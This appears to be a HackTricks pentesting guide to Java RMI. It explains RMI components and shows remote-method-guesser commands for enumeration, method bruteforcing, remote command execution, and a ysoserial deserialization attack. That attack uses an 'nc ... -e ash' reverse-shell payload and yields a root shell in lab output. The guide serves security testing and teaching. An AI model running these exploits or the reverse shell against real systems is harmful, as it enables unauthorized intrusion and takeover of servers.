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hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md
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# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
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## Basic Information
_Java Remote Method Invocation_, or _Java RMI_, is an object oriented _RPC_ mechanism that allows an object located in one _Java virtual machine_ to call methods on an object located in another _Java virtual machine_. This enables developers to write distributed applications using an object-oriented paradigm. A short introduction to _Java RMI_ from an offensive perspective can be found in [this blackhat talk](https://youtu.be/t\_aw1mDNhzI?t=202).
**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Usually, only the default _Java RMI_ components (the _RMI Registry_ and the _Activation System_) are bound to common ports. The _remote objects_ that implement the actual _RMI_ application are usually bound to random ports as shown in the output above.
_nmap_ has sometimes troubles identifying _SSL_ protected _RMI_ services. If you encounter an unknown ssl service on a common _RMI_ port, you should further investigate.
## RMI Components
To put it in simple terms, _Java RMI_ allows a developer to make a _Java object_ available on the network. This opens up a _TCP_ port where clients can connect and call methods on the corresponding object. Despite this sounds simple, there are several challenges that _Java RMI_ needs to solve:
1. To dispatch a method call via _Java RMI_, clients need to know the IP address, the listening port, the implemented class or interface and the `ObjID` of the targeted object (the `ObjID` is a unique and random identifier that is created when the object is made available on the network. It is required because _Java RMI_ allows multiple objects to listen on the same _TCP_ port).
2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The _Java virtual machine_ needs to track which of these resources are still in use and which of them can be garbage collected.
The first challenge is solved by the _RMI registry_, which is basically a naming service for _Java RMI_. The _RMI registry_ itself is also an _RMI service_, but the implemented interface and the `ObjID` are fixed and known by all _RMI_ clients. This allows _RMI_ clients to consume the _RMI_ registry just by knowing the corresponding _TCP_ port.
When developers want to make their _Java objects_ available within the network, they usually bind them to an _RMI registry_. The _registry_ stores all information required to connect to the object (IP address, listening port, implemented class or interface and the `ObjID` value) and makes it available under a human readable name (the _bound name_). Clients that want to consume the _RMI service_ ask the _RMI registry_ for the corresponding _bound name_ and the registry returns all required information to connect. Thus, the situation is basically the same as with an ordinary _DNS_ service. The following listing shows a small example:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
The second of the above mentioned challenges is solved by the _Distributed Garbage Collector_ (_DGC_). This is another _RMI service_ with a well known `ObjID` value and it is available on basically each _RMI endpoint_. When an _RMI client_ starts to use an _RMI service_, it sends an information to the _DGC_ that the corresponding _remote object_ is in use. The _DGC_ can then track the reference count and is able to cleanup unused objects.
Together with the deprecated _Activation System_, these are the three default components of _Java RMI_:
1. The _RMI Registry_ (`ObjID = 0`)
2. The _Activation System_ (`ObjID = 1`)
3. The _Distributed Garbage Collector_ (`ObjID = 2`)
The default components of _Java RMI_ have been known attack vectors for quite some time and multiple vulnerabilities exist in outdated _Java_ versions. From an attacker perspective, these default components are interisting, because they implemented known classes / interfaces and it is easily possible to interact with them. This situation is different for custom _RMI services_. To call a method on a _remote object_, you need to know the corresponding method signature in advance. Without knowing an existing method signature, there is no way to communicate to a _RMI service_.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is a _Java RMI_ vulnerability scanner that is capable of identifying common _RMI vulnerabilities_ automatically. Whenever you identify an _RMI_ endpoint, you should give it a try:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
The output of the enumeration action is explained in more detail in the [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) of the project. Depending on the outcome, you should try to verify identified vulnerabilities.
The `ObjID` values displayed by _remote-method-guesser_ can be used to determine the uptime of the service. This may allows to identify other vulnerabilities:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing Remote Methods
Even when no vulnerabilities have been identified during enumeration, the available _RMI_ services could still expose dangerous functions. Furthermore, despite _RMI_ communication to _RMI_ default components is protected by deserialization filters, when talking to custom _RMI_ services, such filters are usually not in place. Knowing valid method signatures on _RMI_ services is therefore valuable.
Unfortunately, _Java RMI_ does not support enumerating methods on _remote objects_. That being said, it is possible to bruteforce method signatures with tools like [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) or [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Identified methods can be called like this:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Or you can perform deserialization attacks like this:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
More information can be found in these articles:
* [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
Apart from guessing, you should also look in search engines or _GitHub_ for the interface or even the implementation of an encountered _RMI_ service. The _bound name_ and the name of the implemented class or interface can be helpful here.
## Known Interfaces
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marks classes or interfaces as `known` if they are listed in the tool's internal database of known _RMI services_. In these cases you can use the `known` action to get more information on the corresponding _RMI service_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
```
## Shodan
* `port:1099 java`
## Tools
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://github.com/BishopFox/rmiscout)
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## References
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Automatic Commands
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
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